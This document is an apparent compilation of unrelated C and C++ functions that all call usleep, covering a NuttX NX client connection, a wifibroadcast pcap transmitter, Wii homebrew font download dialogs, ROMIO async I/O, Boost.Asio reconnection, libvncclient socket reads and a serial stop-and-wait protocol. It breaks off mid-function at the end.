NXHANDLE nx_connectinstance(FAR const char *svrmqname) { FAR struct nxfe_conn_s *conn; struct nxsvrmsg_s outmsg; char climqname[NX_CLIENT_MXNAMELEN]; struct mq_attr attr; int ret; /* Sanity checking */ #ifdef CONFIG_DEBUG if (!svrmqname) { errno = EINVAL; return NULL; } #endif /* Allocate the NX client structure */ conn = (FAR struct nxfe_conn_s *)kzalloc(sizeof(struct nxfe_conn_s)); if (!conn) { errno = ENOMEM; goto errout; } /* Create the client MQ name */ nxmu_semtake(&g_nxlibsem); conn->cid = g_nxcid++; nxmu_semgive(&g_nxlibsem); sprintf(climqname, NX_CLIENT_MQNAMEFMT, conn->cid); /* Open the client MQ for reading */ attr.mq_maxmsg = CONFIG_NX_MXCLIENTMSGS; attr.mq_msgsize = NX_MXCLIMSGLEN; attr.mq_flags = 0; #ifdef CONFIG_NX_BLOCKING conn->crdmq = mq_open(climqname, O_RDONLY|O_CREAT, 0666, &attr); #else conn->crdmq = mq_open(climqname, O_RDONLY|O_CREAT|O_NONBLOCK, 0666, &attr); #endif if (conn->crdmq == (mqd_t)-1) { gdbg("mq_open(%s) failed: %d\n", climqname, errno); goto errout_with_conn; } /* Open the server MQ for writing */ attr.mq_maxmsg = CONFIG_NX_MXSERVERMSGS; attr.mq_msgsize = NX_MXSVRMSGLEN; attr.mq_flags = 0; conn->cwrmq = mq_open(svrmqname, O_WRONLY|O_CREAT, 0666, &attr); if (conn->cwrmq == (mqd_t)-1) { gdbg("mq_open(%s) failed: %d\n", svrmqname, errno); goto errout_with_rmq; } /* Inform the server that this client exists */ outmsg.msgid = NX_SVRMSG_CONNECT; outmsg.conn = conn; ret = nxmu_sendserver(conn, &outmsg, sizeof(struct nxsvrmsg_s)); if (ret < 0) { gdbg("nxmu_sendserver failed: %d\n", errno); goto errout_with_wmq; } #if 0 /* Now read until we get a response to this message. The server will * respond with either (1) NX_CLIMSG_CONNECTED, in which case the state * will change to NX_CLISTATE_CONNECTED, or (2) NX_CLIMSG_DISCONNECTED * in which case, nx_message will fail with errno = EHOSTDOWN. */ do { ret = nx_eventhandler((NXHANDLE)conn); if (ret < 0) { gdbg("nx_message failed: %d\n", errno); goto errout_with_wmq; } usleep(300000); } while (conn->state != NX_CLISTATE_CONNECTED); #endif return (NXHANDLE)conn; errout_with_wmq: mq_close(conn->cwrmq); errout_with_rmq: mq_close(conn->crdmq); errout_with_conn: kfree(conn); errout: return NULL; }
void tc_pause(void) { while (pause_flag) { usleep(TC_DELAY_MIN); } }
int main(int argc, char *argv[]) { char szErrbuf[PCAP_ERRBUF_SIZE]; int i; pcap_t *ppcap = NULL; char fBrokenSocket = 0; int pcnt = 0; time_t start_time; uint8_t packet_transmit_buffer[MAX_PACKET_LENGTH]; size_t packet_header_length = 0; fd_set fifo_set; int max_fifo_fd = -1; fifo_t fifo[MAX_FIFOS]; int param_transmission_count = 1; int param_data_packets_per_block = 8; int param_fec_packets_per_block = 4; int param_packet_length = MAX_USER_PACKET_LENGTH; int param_port = 0; int param_min_packet_length = 0; int param_fifo_count = 1; printf("Raw data transmitter (c) 2015 befinitiv GPL2\n"); while (1) { int nOptionIndex; static const struct option optiona[] = { { "help", no_argument, &flagHelp, 1 }, { 0, 0, 0, 0 } }; int c = getopt_long(argc, argv, "r:hf:p:b:m:s:x:", optiona, &nOptionIndex); if (c == -1) break; switch (c) { case 0: // long option break; case 'h': // help usage(); case 'r': // retransmissions param_fec_packets_per_block = atoi(optarg); break; case 'f': // MTU param_packet_length = atoi(optarg); break; case 'p': //port param_port = atoi(optarg); break; case 'b': //retransmission block size param_data_packets_per_block = atoi(optarg); break; case 'm'://minimum packet length param_min_packet_length = atoi(optarg); break; case 's': //how many streams (fifos) do we have in parallel param_fifo_count = atoi(optarg); break; case 'x': //how often is a block transmitted param_transmission_count = atoi(optarg); break; default: fprintf(stderr, "unknown switch %c\n", c); usage(); break; } } if (optind >= argc) usage(); if(param_packet_length > MAX_USER_PACKET_LENGTH) { fprintf(stderr, "Packet length is limited to %d bytes (you requested %d bytes)\n", MAX_USER_PACKET_LENGTH, param_packet_length); return (1); } if(param_min_packet_length > param_packet_length) { fprintf(stderr, "Your minimum packet length is higher that your maximum packet length (%d > %d)\n", param_min_packet_length, param_packet_length); return (1); } if(param_fifo_count > MAX_FIFOS) { fprintf(stderr, "The maximum number of streams (FIFOS) is %d (you requested %d)\n", MAX_FIFOS, param_fifo_count); return (1); } if(param_data_packets_per_block > MAX_DATA_OR_FEC_PACKETS_PER_BLOCK || param_fec_packets_per_block > MAX_DATA_OR_FEC_PACKETS_PER_BLOCK) { fprintf(stderr, "Data and FEC packets per block are limited to %d (you requested %d data, %d FEC)\n", MAX_DATA_OR_FEC_PACKETS_PER_BLOCK, param_data_packets_per_block, param_fec_packets_per_block); return (1); } packet_header_length = packet_header_init(packet_transmit_buffer); fifo_init(fifo, param_fifo_count, param_data_packets_per_block); fifo_open(fifo, param_fifo_count); fifo_create_select_set(fifo, param_fifo_count, &fifo_set, &max_fifo_fd); //initialize forward error correction fec_init(); // open the interface in pcap szErrbuf[0] = '\0'; ppcap = pcap_open_live(argv[optind], 800, 1, 20, szErrbuf); if (ppcap == NULL) { fprintf(stderr, "Unable to open interface %s in pcap: %s\n", argv[optind], szErrbuf); return (1); } pcap_setnonblock(ppcap, 0, szErrbuf); start_time = time(NULL); while (!fBrokenSocket) { fd_set rdfs; int ret; rdfs = fifo_set; //wait for new data on the fifos ret = select(max_fifo_fd + 1, &rdfs, NULL, NULL, NULL); if(ret < 0) { perror("select"); return (1); } //cycle through all fifos and look for new data for(i=0; i<param_fifo_count && ret; ++i) { if(!FD_ISSET(fifo[i].fd, &rdfs)) { continue; } ret--; packet_buffer_t *pb = fifo[i].pbl + fifo[i].curr_pb; //if the buffer is fresh we add a payload header if(pb->len == 0) { pb->len += sizeof(payload_header_t); //make space for a length field (will be filled later) } //read the data int inl = read(fifo[i].fd, pb->data + pb->len, param_packet_length - pb->len); if(inl < 0 || inl > param_packet_length-pb->len){ perror("reading stdin"); return 1; } if(inl == 0) { //EOF fprintf(stderr, "Warning: Lost connection to fifo %d. Please make sure that a data source is connected\n", i); usleep(1e5); continue; } pb->len += inl; //check if this packet is finished if(pb->len >= param_min_packet_length) { payload_header_t *ph = (payload_header_t*)pb->data; ph->data_length = pb->len - sizeof(payload_header_t); //write the length into the packet. this is needed since with fec we cannot use the wifi packet lentgh anymore. We could also set the user payload to a fixed size but this would introduce additional latency since tx would need to wait until that amount of data has been received pcnt++; //check if this block is finished if(fifo[i].curr_pb == param_data_packets_per_block-1) { pb_transmit_block(fifo[i].pbl, ppcap, &(fifo[i].seq_nr), i+param_port, param_packet_length, packet_transmit_buffer, packet_header_length, param_data_packets_per_block, param_fec_packets_per_block, param_transmission_count); fifo[i].curr_pb = 0; } else { fifo[i].curr_pb++; } } } if(pcnt % 128 == 0) { printf("%d data packets sent (interface rate: %.3f)\n", pcnt, 1.0 * pcnt / param_data_packets_per_block * (param_data_packets_per_block + param_fec_packets_per_block) / (time(NULL) - start_time)); } } printf("Broken socket\n"); return (0); }
void fontDownload(string fontname) { bool stop = true; GuiWindow promptWindow(520,360); promptWindow.SetAlignment(ALIGN_CENTRE, ALIGN_MIDDLE); promptWindow.SetPosition(0, -10); GuiTrigger trigA; trigA.SetSimpleTrigger(-1, WPAD_BUTTON_A | WPAD_CLASSIC_BUTTON_A, PAD_BUTTON_A); GuiImageData dialogBox(Theme.dialog_background); GuiImage dialogBoxImg(&dialogBox); GuiImageData btnOutline(Theme.button_small); GuiImage btn1Img(&btnOutline); GuiImage btn2Img(&btnOutline); GuiImageData btnOutlineOver(Theme.button_small_focus); GuiImage btn1ImgOver(&btnOutlineOver); GuiImage btn2ImgOver(&btnOutlineOver); GuiText titleTxt(tr("Download"), 26, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255}); titleTxt.SetAlignment(ALIGN_CENTRE, ALIGN_TOP); titleTxt.SetPosition(0, 40); GuiText downloadTxt(tr("Downloading file..."), 22, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255}); downloadTxt.SetAlignment(ALIGN_CENTRE, ALIGN_MIDDLE); downloadTxt.SetPosition(0, -20); GuiText msgTxt(tr("please wait"), 22, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255}); msgTxt.SetAlignment(ALIGN_CENTRE, ALIGN_MIDDLE); msgTxt.SetPosition(0, 20); GuiText btn1Txt(tr("OK"), 22, (GXColor){Theme.button_small_text_1, Theme.button_small_text_2, Theme.button_small_text_3, 255}); GuiButton btn1(btnOutline.GetWidth(), btnOutline.GetHeight()); btn1.SetAlignment(ALIGN_CENTRE, ALIGN_BOTTOM); btn1.SetPosition(0, -25); btn1.SetLabel(&btn1Txt); btn1.SetImage(&btn1Img); btn1.SetImageOver(&btn1ImgOver); btn1.SetTrigger(&trigA); btn1.SetState(STATE_SELECTED); btn1.SetEffectGrow(); promptWindow.Append(&dialogBoxImg); promptWindow.Append(&titleTxt); promptWindow.Append(&downloadTxt); promptWindow.Append(&msgTxt); HaltGui(); mainWindow->SetState(STATE_DISABLED); mainWindow->Append(&promptWindow); mainWindow->ChangeFocus(&promptWindow); ResumeGui(); char buffer[100]; msgTxt.SetText(fontname.c_str()); sprintf(buffer, "http://www.nanolx.org/hbf/Fonts/%s", fontname.c_str()); struct block file = downloadfile(buffer); if (file.data && file.size > 0 && folder_exists()) { FILE * data = fopen((Settings.device_dat + ":/config/HBF/Fonts/"+ fontname).c_str(), "wb"); if(data) { fwrite(file.data, 1, file.size, data); fclose(data); } } if(file.data) free(file.data); msgTxt.SetText(""); downloadTxt.SetText(tr("finished")); promptWindow.Append(&btn1); while(stop) { usleep(100); if(btn1.GetState() == STATE_CLICKED) stop = false; } HaltGui(); mainWindow->Remove(&promptWindow); mainWindow->SetState(STATE_DEFAULT); ResumeGui(); }
void ADIOI_UFS_ReadComplete(ADIO_Request *request, ADIO_Status *status, int *error_code) { #ifndef NO_AIO #ifndef PRINT_ERR_MSG static char myname[] = "ADIOI_UFS_READCOMPLETE"; #endif #ifdef AIO_SUN aio_result_t *result=0, *tmp; #else int err; #endif #ifdef AIO_HANDLE_IN_AIOCB struct aiocb *tmp1; #endif #endif if (*request == ADIO_REQUEST_NULL) { *error_code = MPI_SUCCESS; return; } #ifdef AIO_SUN if ((*request)->queued) { /* dequeue it */ tmp = (aio_result_t *) (*request)->handle; while (tmp->aio_return == AIO_INPROGRESS) usleep(1000); /* sleep for 1 ms., until done. Is 1 ms. a good number? */ /* when done, dequeue any one request */ result = (aio_result_t *) aiowait(0); (*request)->nbytes = tmp->aio_return; #ifdef PRINT_ERR_MSG *error_code = (tmp->aio_return == -1) ? MPI_ERR_UNKNOWN : MPI_SUCCESS; #else if (tmp->aio_return == -1) { *error_code = MPIR_Err_setmsg(MPI_ERR_IO, MPIR_ADIO_ERROR, myname, "I/O Error", "%s", strerror(tmp->aio_errno)); ADIOI_Error((*request)->fd, *error_code, myname); } else *error_code = MPI_SUCCESS; #endif /* aiowait only dequeues a request. The completion of a request can be checked by just checking the aio_return flag in the handle passed to the original aioread()/aiowrite(). Therefore, I need to ensure that aiowait() is called exactly once for each previous aioread()/aiowrite(). This is also taken care of in ADIOI_xxxDone */ } else *error_code = MPI_SUCCESS; #ifdef HAVE_STATUS_SET_BYTES if ((*request)->nbytes != -1) MPIR_Status_set_bytes(status, (*request)->datatype, (*request)->nbytes); #endif #endif #ifdef AIO_HANDLE_IN_AIOCB /* IBM */ if ((*request)->queued) { do { err = aio_suspend(1, (struct aiocb **) &((*request)->handle)); } while ((err == -1) && (errno == EINTR)); tmp1 = (struct aiocb *) (*request)->handle; if (err != -1) { err = aio_return(tmp1->aio_handle); (*request)->nbytes = err; errno = aio_error(tmp1->aio_handle); } else (*request)->nbytes = -1; /* on DEC, it is required to call aio_return to dequeue the request. IBM man pages don't indicate what function to use for dequeue. I'm assuming it is aio_return! POSIX says aio_return may be called only once on a given handle. */ #ifdef PRINT_ERR_MSG *error_code = (err == -1) ? MPI_ERR_UNKNOWN : MPI_SUCCESS; #else if (err == -1) { *error_code = MPIR_Err_setmsg(MPI_ERR_IO, MPIR_ADIO_ERROR, myname, "I/O Error", "%s", strerror(errno)); ADIOI_Error((*request)->fd, *error_code, myname); } else *error_code = MPI_SUCCESS; #endif } else *error_code = MPI_SUCCESS; #ifdef HAVE_STATUS_SET_BYTES if ((*request)->nbytes != -1) MPIR_Status_set_bytes(status, (*request)->datatype, (*request)->nbytes); #endif #elif (!defined(NO_AIO) && !defined(AIO_SUN)) /* DEC, SGI IRIX 5 and 6 */ if ((*request)->queued) { do { err = aio_suspend((const aiocb_t **) &((*request)->handle), 1, 0); } while ((err == -1) && (errno == EINTR)); if (err != -1) { err = aio_return((struct aiocb *) (*request)->handle); (*request)->nbytes = err; errno = aio_error((struct aiocb *) (*request)->handle); } else (*request)->nbytes = -1; #ifdef PRINT_ERR_MSG *error_code = (err == -1) ? MPI_ERR_UNKNOWN : MPI_SUCCESS; #else if (err == -1) { *error_code = MPIR_Err_setmsg(MPI_ERR_IO, MPIR_ADIO_ERROR, myname, "I/O Error", "%s", strerror(errno)); ADIOI_Error((*request)->fd, *error_code, myname); } else *error_code = MPI_SUCCESS; #endif } else *error_code = MPI_SUCCESS; #ifdef HAVE_STATUS_SET_BYTES if ((*request)->nbytes != -1) MPIR_Status_set_bytes(status, (*request)->datatype, (*request)->nbytes); #endif #endif #ifndef NO_AIO if ((*request)->queued != -1) { /* queued = -1 is an internal hack used when the request must be completed, but the request object should not be freed. This is used in ADIOI_Complete_async, because the user will call MPI_Wait later, which would require status to be filled. Ugly but works. queued = -1 should be used only in ADIOI_Complete_async. This should not affect the user in any way. */ /* if request is still queued in the system, it is also there on ADIOI_Async_list. Delete it from there. */ if ((*request)->queued) ADIOI_Del_req_from_list(request); (*request)->fd->async_count--; if ((*request)->handle) ADIOI_Free((*request)->handle); ADIOI_Free_request((ADIOI_Req_node *) (*request)); *request = ADIO_REQUEST_NULL; } #else /* HP, FreeBSD, Linux */ #ifdef HAVE_STATUS_SET_BYTES MPIR_Status_set_bytes(status, (*request)->datatype, (*request)->nbytes); #endif (*request)->fd->async_count--; ADIOI_Free_request((ADIOI_Req_node *) (*request)); *request = ADIO_REQUEST_NULL; *error_code = MPI_SUCCESS; #endif }
void f() { int i=0; printf("tid :%d in f: %d\n",getID(),i++); usleep(90000); }
string FontList() { string downloadfont = "error"; bool stop = false; char buffer[100]; sprintf(buffer, "http://www.nanolx.org/hbf/Fonts/"); struct block file = downloadfile(buffer); if (file.data != NULL) { string source_fonts = (char*)file.data; vector<string> fonts; while(1) { if((signed)source_fonts.find("../Fonts/") == -1) break; source_fonts.erase(0, source_fonts.find("../Fonts/")); source_fonts.erase(0, source_fonts.find("s/") +2); fonts.push_back(source_fonts.substr(0, source_fonts.find("\""))); source_fonts.erase(0, source_fonts.find("<")); } free(file.data); GuiText titleTxt(tr("Download"), 26, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255}); titleTxt.SetAlignment(ALIGN_CENTRE, ALIGN_TOP); titleTxt.SetPosition(0, 40); GuiWindow promptWindow(520,360); promptWindow.SetAlignment(ALIGN_CENTRE, ALIGN_MIDDLE); promptWindow.SetPosition(0, -10); GuiTrigger trigA; trigA.SetSimpleTrigger(-1, WPAD_BUTTON_A | WPAD_CLASSIC_BUTTON_A, PAD_BUTTON_A); GuiImageData dialogBox(Theme.dialog_background); GuiImage dialogBoxImg(&dialogBox); int place = 23; int y = 150; int i = 0; int number = 5; int selection = 0; int textScrollPos = 0; int selctionPos = y; GuiText selectionTxt(">> <<", 20, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255}); selectionTxt.SetAlignment(ALIGN_CENTRE, ALIGN_TOP); selectionTxt.SetPosition(0, y); GuiText upTxt("c", 22, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255}); upTxt.SetFont(symbol_ttf, symbol_ttf_size); upTxt.SetAlignment(ALIGN_CENTRE, ALIGN_TOP); upTxt.SetPosition(0, y -20); GuiText downTxt("d", 22, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255}); downTxt.SetFont(symbol_ttf, symbol_ttf_size); downTxt.SetAlignment(ALIGN_CENTRE, ALIGN_TOP); downTxt.SetPosition(0, y + (place * (number-1)) + 15); GuiText * Entrie[number]; for(i=0; i < number && i < (signed)fonts.size(); i++) { Entrie[i] = new GuiText(fonts[i].c_str(), 20, (GXColor) {Theme.text_1, Theme.text_2, Theme.text_3, 255}); Entrie[i]->SetAlignment(ALIGN_CENTRE, ALIGN_TOP); Entrie[i]->SetPosition(0, y); Entrie[i]->SetMaxWidth(300, SCROLL_HORIZONTAL); y += place; } promptWindow.Append(&dialogBoxImg); promptWindow.Append(&titleTxt); promptWindow.Append(&selectionTxt); for(int x=0; x < i; x++) promptWindow.Append(Entrie[x]); if((signed)fonts.size() >= number) { promptWindow.Append(&upTxt); promptWindow.Append(&downTxt); } promptWindow.SetEffect(EFFECT_SLIDE_BOTTOM | EFFECT_SLIDE_IN, 50); HaltGui(); mainWindow->SetState(STATE_DISABLED); mainWindow->Append(&promptWindow); mainWindow->ChangeFocus(&promptWindow); ResumeGui(); while(!stop) { usleep(100); if(WPAD_ButtonsDown(0) & (WPAD_BUTTON_UP | WPAD_CLASSIC_BUTTON_UP) || PAD_ButtonsDown(0) & PAD_BUTTON_UP || WUPC_ButtonsDown(0) & WPAD_CLASSIC_BUTTON_UP) { selection--; if(selection < 0) { selection = 0; textScrollPos--; if(textScrollPos < 0) textScrollPos = 0; for(int x=0; x < number && x < (signed)fonts.size(); x++) Entrie[x]->SetText(fonts[x + textScrollPos].c_str()); } selectionTxt.SetPosition(0, selection * place + selctionPos); HaltResumeGui(); } if(WPAD_ButtonsDown(0) & (WPAD_BUTTON_DOWN | WPAD_CLASSIC_BUTTON_DOWN) || PAD_ButtonsDown(0) & PAD_BUTTON_DOWN || WUPC_ButtonsDown(0) & WPAD_CLASSIC_BUTTON_DOWN) { selection++; if(selection == (signed)fonts.size()) selection = fonts.size() -1; if(selection > number -1) { selection = number -1; textScrollPos++; if(textScrollPos > (signed)fonts.size() - number) textScrollPos = fonts.size() - number; for(int x=0; x < number && x < (signed)fonts.size(); x++) Entrie[x]->SetText(fonts[x + textScrollPos].c_str()); } selectionTxt.SetPosition(0, selection * place + selctionPos); HaltResumeGui(); } if(WPAD_ButtonsDown(0) & (WPAD_BUTTON_A | WPAD_CLASSIC_BUTTON_A) || PAD_ButtonsDown(0) & PAD_BUTTON_A || WUPC_ButtonsDown(0) & WPAD_CLASSIC_BUTTON_A) { downloadfont = fonts[selection + textScrollPos]; stop = true; } if(WPAD_ButtonsDown(0) & (WPAD_BUTTON_B | WPAD_CLASSIC_BUTTON_B) || PAD_ButtonsDown(0) & PAD_BUTTON_B || WUPC_ButtonsDown(0) & WPAD_CLASSIC_BUTTON_B) { downloadfont = "NULL"; stop = true; } } promptWindow.SetEffect(EFFECT_SLIDE_BOTTOM | EFFECT_SLIDE_OUT, 50); while(promptWindow.GetEffect() > 0) usleep(100); HaltGui(); mainWindow->Remove(&promptWindow); mainWindow->SetState(STATE_DEFAULT); ResumeGui(); } return downloadfont; }
/* * Connects to a server * - on success: adds all server related elements * - on failure: retries */ void Communication::AddServer(const boost::system::error_code& error, boost::shared_ptr<boost::asio::ip::tcp::socket> soc, boost::asio::ip::tcp::endpoint endpoint, boost::shared_ptr<std::string> server, boost::shared_ptr<std::string> ip, boost::shared_ptr<std::string> port) { // remote host is now connected if (!error) { // lock any "sockets_.size()" usage/modification com_mutex_.lock(); // add a pub, along with all related pub elements sockets_.push_back(soc); servers_.push_back(server); boost::shared_ptr< boost::array<char, 30> > new_buf_ptr(new boost::array<char, 30>); new_buf_ptr->assign(0); buf_.push_back(new_buf_ptr); is_reading_.push_back(false); Connection new_server; new_server.pub_id = *server; new_server.ip = *ip; new_server.port = *port; connections_.push_back(new_server); // report successful connection out_mutex_.lock(); std::cout << "\n[" << boost::this_thread::get_id() << "] >> Connection to " << *server << " at " << endpoint << " succeded \n" << std::endl; out_mutex_.unlock(); // let the read operations begin/continue is_pending_add_ = false; pending_add_condition_.notify_one(); // unlock any "sockets_.size()" usage/modification com_mutex_.unlock(); // inform on first connection if (sockets_.size() == 1) { pending_first_condition_->notify_one(); } } // remote host is not connected yet else if (error.message() == "Connection refused") { // try again usleep(100000); soc.reset(new boost::asio::ip::tcp::socket(*io_service_)); soc->async_connect(endpoint, boost::bind(&Communication::AddServer, this, boost::asio::placeholders::error(), soc, endpoint, server, ip, port)); } else // report error { out_mutex_.lock(); std::cout << "[" << boost::this_thread::get_id() << "] Error: " << error.message() << std::endl; out_mutex_.unlock(); } }
rfbBool ReadFromRFBServer(rfbClient* client, char *out, unsigned int n) { #undef DEBUG_READ_EXACT #ifdef DEBUG_READ_EXACT char* oout=out; int nn=n; rfbClientLog("ReadFromRFBServer %d bytes\n",n); #endif /* Handle attempts to write to NULL out buffer that might occur when an outside malloc() fails. For instance, memcpy() to NULL results in undefined behaviour and probably memory corruption.*/ if(!out) return FALSE; if (client->serverPort==-1) { /* vncrec playing */ rfbVNCRec* rec = client->vncRec; struct timeval tv; if (rec->readTimestamp) { rec->readTimestamp = FALSE; if (!fread(&tv,sizeof(struct timeval),1,rec->file)) return FALSE; tv.tv_sec = rfbClientSwap32IfLE (tv.tv_sec); tv.tv_usec = rfbClientSwap32IfLE (tv.tv_usec); if (rec->tv.tv_sec!=0 && !rec->doNotSleep) { struct timeval diff; diff.tv_sec = tv.tv_sec - rec->tv.tv_sec; diff.tv_usec = tv.tv_usec - rec->tv.tv_usec; if(diff.tv_usec<0) { diff.tv_sec--; diff.tv_usec+=1000000; } #ifndef WIN32 sleep (diff.tv_sec); usleep (diff.tv_usec); #else Sleep (diff.tv_sec * 1000 + diff.tv_usec/1000); #endif } rec->tv=tv; } return (fread(out,1,n,rec->file) != n ? FALSE : TRUE); } if (n <= client->buffered) { memcpy(out, client->bufoutptr, n); client->bufoutptr += n; client->buffered -= n; #ifdef DEBUG_READ_EXACT goto hexdump; #endif return TRUE; } memcpy(out, client->bufoutptr, client->buffered); out += client->buffered; n -= client->buffered; client->bufoutptr = client->buf; client->buffered = 0; if (n <= RFB_BUF_SIZE) { while (client->buffered < n) { int i; if (client->tlsSession) i = ReadFromTLS(client, client->buf + client->buffered, RFB_BUF_SIZE - client->buffered); else #ifdef LIBVNCSERVER_HAVE_SASL if (client->saslconn) i = ReadFromSASL(client, client->buf + client->buffered, RFB_BUF_SIZE - client->buffered); else { #endif /* LIBVNCSERVER_HAVE_SASL */ i = read(client->sock, client->buf + client->buffered, RFB_BUF_SIZE - client->buffered); #ifdef WIN32 if (i < 0) errno=WSAGetLastError(); #endif #ifdef LIBVNCSERVER_HAVE_SASL } #endif if (i <= 0) { if (i < 0) { if (errno == EWOULDBLOCK || errno == EAGAIN) { /* TODO: ProcessXtEvents(); */ WaitForMessage(client, 100000); i = 0; } else { rfbClientErr("read (%d: %s)\n",errno,strerror(errno)); return FALSE; } } else { if (errorMessageOnReadFailure) { rfbClientLog("VNC server closed connection\n"); } return FALSE; } } client->buffered += i; } memcpy(out, client->bufoutptr, n); client->bufoutptr += n; client->buffered -= n; } else { while (n > 0) { int i; if (client->tlsSession) i = ReadFromTLS(client, out, n); else #ifdef LIBVNCSERVER_HAVE_SASL if (client->saslconn) i = ReadFromSASL(client, out, n); else #endif i = read(client->sock, out, n); if (i <= 0) { if (i < 0) { #ifdef WIN32 errno=WSAGetLastError(); #endif if (errno == EWOULDBLOCK || errno == EAGAIN) { /* TODO: ProcessXtEvents(); */ WaitForMessage(client, 100000); i = 0; } else { rfbClientErr("read (%s)\n",strerror(errno)); return FALSE; } } else { if (errorMessageOnReadFailure) { rfbClientLog("VNC server closed connection\n"); } return FALSE; } } out += i; n -= i; } } #ifdef DEBUG_READ_EXACT hexdump: { int ii; for(ii=0;ii<nn;ii++) fprintf(stderr,"%02x ",(unsigned char)oout[ii]); fprintf(stderr,"\n"); } #endif return TRUE; }
/*frame *trama_e, int fde,TEntity *active_en, TAutomat *automata */ void recibe_ACK(Argumentos * argu, TAutomat *automata, int fin_f) { int tam_trama,conretx; frame trama_recb; long t_ini,t_actual; char aux; struct timeval tiempo; STOP=FALSE; conretx=0; /* //Empieza el temporizador */ semaphore_timeout_set(argu->tempo,argu,automata); gettimeofday(&tiempo,NULL); t_ini= tiempo.tv_sec+(long)argu->tempo+1; while (STOP==FALSE) { gettimeofday(&tiempo,NULL); /* printf("t_ini = %i\n", t_ini); printf("t actual = %i \n", tiempo.tv_sec); */ if ( (t_ini+(long)argu->tempo) <= tiempo.tv_sec ){ t_ini =tiempo.tv_sec; printf("Reenviamos trama desde temporizador \n"); automat_transit(argu->active_en, automata, TIME_O, argu); argu->tr_perdidas ++; } printf("."); printf("bucle - espero ACK\n"); usleep(100000); /*tras recibir SIGIO, wait_flag = FALSE, la entrada esta disponible y puede ser leida */ // printf("En el recibe_ack el wait_flag vale :%i \n", wait_flag); if (wait_flag==FALSE) { //Al recibir datos en el canal cancelo el temporizador semaphore_timeout_cancel( ); //tam_trama = from_physical_layer(argu->trama_e, argu->fde); //printf("control : %c \n", argu->trama_e->control); //if ( c=='A'/*128 ACK*/){ tam_trama = from_physical_layer(&trama_recb, argu->fde); printf("control : %c \n", trama_recb.control); if ( trama_recb.control=='A'/*128 ACK*/){ //Si el ACK no lleva la secuencia para la siguiente trama if (argu->sec_siguiente != trama_recb.address) { //transito automa con ese evento automat_transit(argu->active_en, automata, ACK_N_SIG, argu); } else //else1-> Si el ACK lleva la secuencia para la siguiente trama { argu->sec_actual= argu->sec_siguiente; //Se desdignan la secuencia actual y la secuencia esperada switch (argu->sec_actual) { case 'A': { printf("Estoy en A espero un B \n" ); argu->sec_siguiente = 'B'; break; } case 'B': { printf("Estoy en B espero un A \n" ); argu->sec_siguiente = 'A'; break; } default : { printf("Es un estado no designado \n"); break; } } /*copiamos los datos de la trama al paquete*/ printf(" Recibimos el ACK \n"); STOP=TRUE; /* para el bucle si solo entra un CR */ printf(" \n Para, y enviamos la siguiente trama \n"); //Para enviar la trama vacia if (fin_f ==0){ /* entidad , automata, evento, argumentos de evento */ automat_transit(argu->active_en, automata, ACK_SIG, argu); } else{ printf(" \n Se ha enviado la ultima trama \n"); argu->trama_e->data[0]='\0'; argu->trama_e->control='T';//0x09; printf("Se envia la trama vacia %s: ,tam : %d \n",argu->trama_e->data,strlen(argu->trama_e->data)); to_physical_layer(argu->trama_e,argu->fde); automat_transit(argu->active_en,automata,ACK_0, argu); } /*Se puede borrar ya que paramos*/ wait_flag = TRUE; /* espera una nueva entrada */ }//else 1 }//if else//else2 { //Si el NACK lleva la secuencia de la trama actual if (argu->sec_actual == trama_recb.address) { /*Como sria un Nack se puede hacer una comprobafcion de la secuencia*/ if (conretx == argu->n_rtx) { automat_transit(argu->active_en, automata, N_NACK_MAX, argu); printf("Se ha superado el numero de retransmisiones por trama \n"); printf("ERROR en el canal \n"); exit(-1); } conretx++; printf("El limite de retrasnmisiones es %i veces\n", argu->n_rtx); printf("Se ha retransmitido %i veces\n", conretx); printf("Recibido Recibo Nack\n"); automat_transit(argu->active_en, automata, NACK_ACT, argu); /* //Empieza otra vez el temporizador por el reenvio temporizador*/ semaphore_timeout_set(argu->tempo,argu,automata); gettimeofday(&tiempo,NULL); t_ini= tiempo.tv_sec+(long)argu->tempo+1; printf("Se ha reenviado la trama\n"); wait_flag = TRUE; /* espera una nueva entrada */ } else //else23-> Si el NACK no lleva la secuencia de la trama actual { //transito automa con ese evento automat_transit(argu->active_en, automata, NACK_N_ACT, argu); } }//else2 }//if }//while }
main(int argc, char *argv[]) { int fd,n_carac,n,retardo,i; /*Para Tx */ int fin_f=0; FILE *arch; struct termios oldtio,newtio; packet paquete; frame trama,trama_r;// trama_r es de retransmision /*Para el autoamata */ TAutomat *automata = NULL; TEntity entidad1; TEntity *active_en = &entidad1; Argumentos argu1; Argumentos *argu= &argu1; int n_rtx;//numero de retransmisiones argu->paquete= &paquete; //con esto evito hacer un malloc /*Para la RX, es la se�l*/ struct sigaction saio; /* definicion de accion de segnal */ printf("abre archivo \n" ); /* Abre el dispositivo modem para lectura y escritura y no como controlador tty porque no queremos que nos mate si el ruido de la linea envia un CRTL-C Se debe usar O_NONBLOCK ????????? */ fd = open(MODEMDEVICE, O_RDWR | O_NOCTTY /*| O_NONBLOCK*/); if (fd <0) {perror(MODEMDEVICE); exit(-1); } /***********SIGIO************************************************************************/ /* instala el manejador de segnal antes de hacer asincrono el dispositivo */ saio.sa_handler = signal_handler_IO; /* especifica la acci� que se va a asociar con SIGIO*/ saio.sa_flags = SA_NOMASK; /*especifica un cjto de opciones que modifican el comportamiento del proceso de manejo de se�l*/ saio.sa_restorer = NULL; /*es algo caduco ya no se usa*/ sigaction(SIGIO,&saio,NULL);/*sigaction, permite especificar explicitamente el comportamiento de los gestores de se�les el reiniciado de las llamadas del sistemaesta deshabilitado por defecto, pero puede activarse si se especica el flag de se�l SA RESTART*/ /*int fcntl(int fd, int ope, long arg); fcntl realiza una ope de control sobre el fichero refenciado por fd*/ /* permite al proceso recibir SIGIO */ fcntl(fd, F_SETOWN, getpid());/*F_SETOWN Establece el ID de proceso o el grupo de procesos que recibir�las se�les SIGIO para los eventos sobre el descriptor fd.*/ /* Hace el descriptor de archivo asincrono*/ fcntl(fd, F_SETFL, FASYNC); /*F_SETFL Asigna a las banderas de descriptor el valor asignado por FASYNC que se correspondan*/ /********FIN_SIGIO***************************************************************************/ tcgetattr(fd,&oldtio); /* Almacenamos la configuracion actual del puerto */ newtio.c_cflag = BAUDRATE | 